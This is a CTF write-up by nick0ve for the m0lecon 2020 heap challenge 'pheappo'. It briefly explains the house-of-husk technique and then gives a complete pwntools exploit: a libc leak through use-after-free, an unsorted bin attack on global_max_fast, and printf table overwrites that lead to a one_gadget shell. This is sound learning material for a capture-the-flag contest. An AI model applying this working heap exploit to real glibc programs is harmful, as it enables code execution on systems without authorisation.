16 Nov 2020

pheappo - m0lecon 2020 - pwn

by nick0ve

Chall Description

That was a standard heap pwnable with some restrictions:

  • Can alloc only chunks with size in range(1040, 38400), which goes to unsorted bin after free
  • UAF possible, but not double free because of some additionals checks enforced with the global array bitmap
  • Can’t overwrite malloc_hook and free_hook

To exploit under those conditions I ended up using this known technique which i didn’t know the existence of, house of husk, pretty cool exploit chain which make use of a very strange printf functionality. Did you know that…

The GNU C Library lets you define your own custom conversion specifiers?

No? Well neither did I. Find out more about this at http://www.gnu.org/software/libc/manual/html_node/Customizing-Printf.html

The exploit is mainly an implementation of house-of-husk technique so I’m not gonna explain it deeply, since you can find more detailed information in the linked post. I tried to divide the exploit in sections like the post author’s did, so it should be easier to follow it.

Thanks to the organizers for those nice challenges, actually learnt a lot of new stuffs :).

Exploit

#!/usr/bin/env python3
from pwn import *

exe = context.binary = ELF("pheappo")
libc = ELF("libc.so.6")

def start(argv=[], *a, **kw):
    if args.REMOTE:
        return remote("challs.ctf.m0lecon.it", 9001)
    else:
        return process([exe.path] + argv, env={'LD_PRELOAD': "./libc.so.6"}, *a, **kw)

def flush():
    return io.recvuntil(b'Choice: ', drop=True)

def create(sz):
    io.sendline(b'1')
    io.recvuntil(b'Size: ')
    io.sendline(f'{sz}'.encode())
    return flush()

def read(idx):
    io.sendline(b'2')
    io.recvuntil(b'Index: ')
    io.sendline(f'{idx}'.encode())
    leak = io.recvuntil(b'<=== Menu ===>', drop=True)
    flush()
    return leak

def write(idx, data):
    io.sendline(b'3')
    io.recvuntil(b'Index: ')
    io.sendline(f'{idx}'.encode())
    io.recvuntil(b'Data: ')
    io.sendline(data)
    return flush()

def delete(idx):
    io.sendline(b'4')
    io.recvuntil(b'Index: ')
    io.sendline(f'{idx}'.encode())
    return flush()

def quit():
    io.sendline(b'5')


if __name__ == "__main__":       
    io = start()
    
    # 1) Leak libc address
    create(1040) # to leak libc_main_arena with UAF
    '''
    2 chunks to achieve relative a overwrite with free
    more on this tecnique @ https://ctf-wiki.github.io/ctf-wiki/pwn/linux/glibc-heap/unsorted_bin_attack/
    - briefly, after setting global_max_fast to a big value, every chunk is gonna be treated as a 
    fastbin chunk, so every free is gonna put the chunk in main_arena.fastbinsY[out_of_bound_idx], achieving
    an out of bound write of a heap pointer in the libc
    E.G)
        - size=1040 + 0x10*i writes to main_arena + 528 + i*8
    '''
    get_i = lambda off_from_arena : (off_from_arena - 528) // 8
    create(1040 + 0x10 * get_i(libc.sym.__printf_arginfo_table - libc.sym.main_arena))
    create(1040 + 0x10 * get_i(libc.sym.__printf_function_table - libc.sym.main_arena))

    delete(0)
    chunk0leak = read(0)
    # leak &main_arena.unsortedbin
    libc_mainarena_unsortedbin = u64(chunk0leak[:8])

    libc.address = libc_mainarena_unsortedbin - 2116768
    log.info(f'libc_base: {libc.address:x}')
    onegadget = libc.address + 0x4f322 - 0x1e7000
    log.info(f'one_gadget: 0x{onegadget:x}')

    # forge fake __printf_arginfo_table so that tbl['%d'] = one_gadget
    fake_tbl = flat({ 
        784 : onegadget, # 0x4f322 0x10a38c
    }, filler=b'\x00')

    # 2) Make global_max_fast large with unsorted bin attack
    global_max_fast = libc.address + 2124096
    log.info('Do unsorted bin attack to overwrite global_max_fast...')
    where = global_max_fast-0x10
    write(0, p64(0) + p64(where))
    create(1040)

    # 3) Write the address of a fake arginfo table to __printf_arginfo_table by "relative overwrite"
    log.info('Write chunk1payload_ptr-0x10 to __printf_arginfo_table...')
    write(1, fake_tbl)
    delete(1)

    # 4) Write a non-null value to __printf_function_table by "relative overwrite"
    log.info('Write chunk2payload_ptr-0x10 to __printf_function_table...')
    delete(2)

    # 5) call printf to call onegadget
    log.success("Get shell")
    quit()

    io.interactive()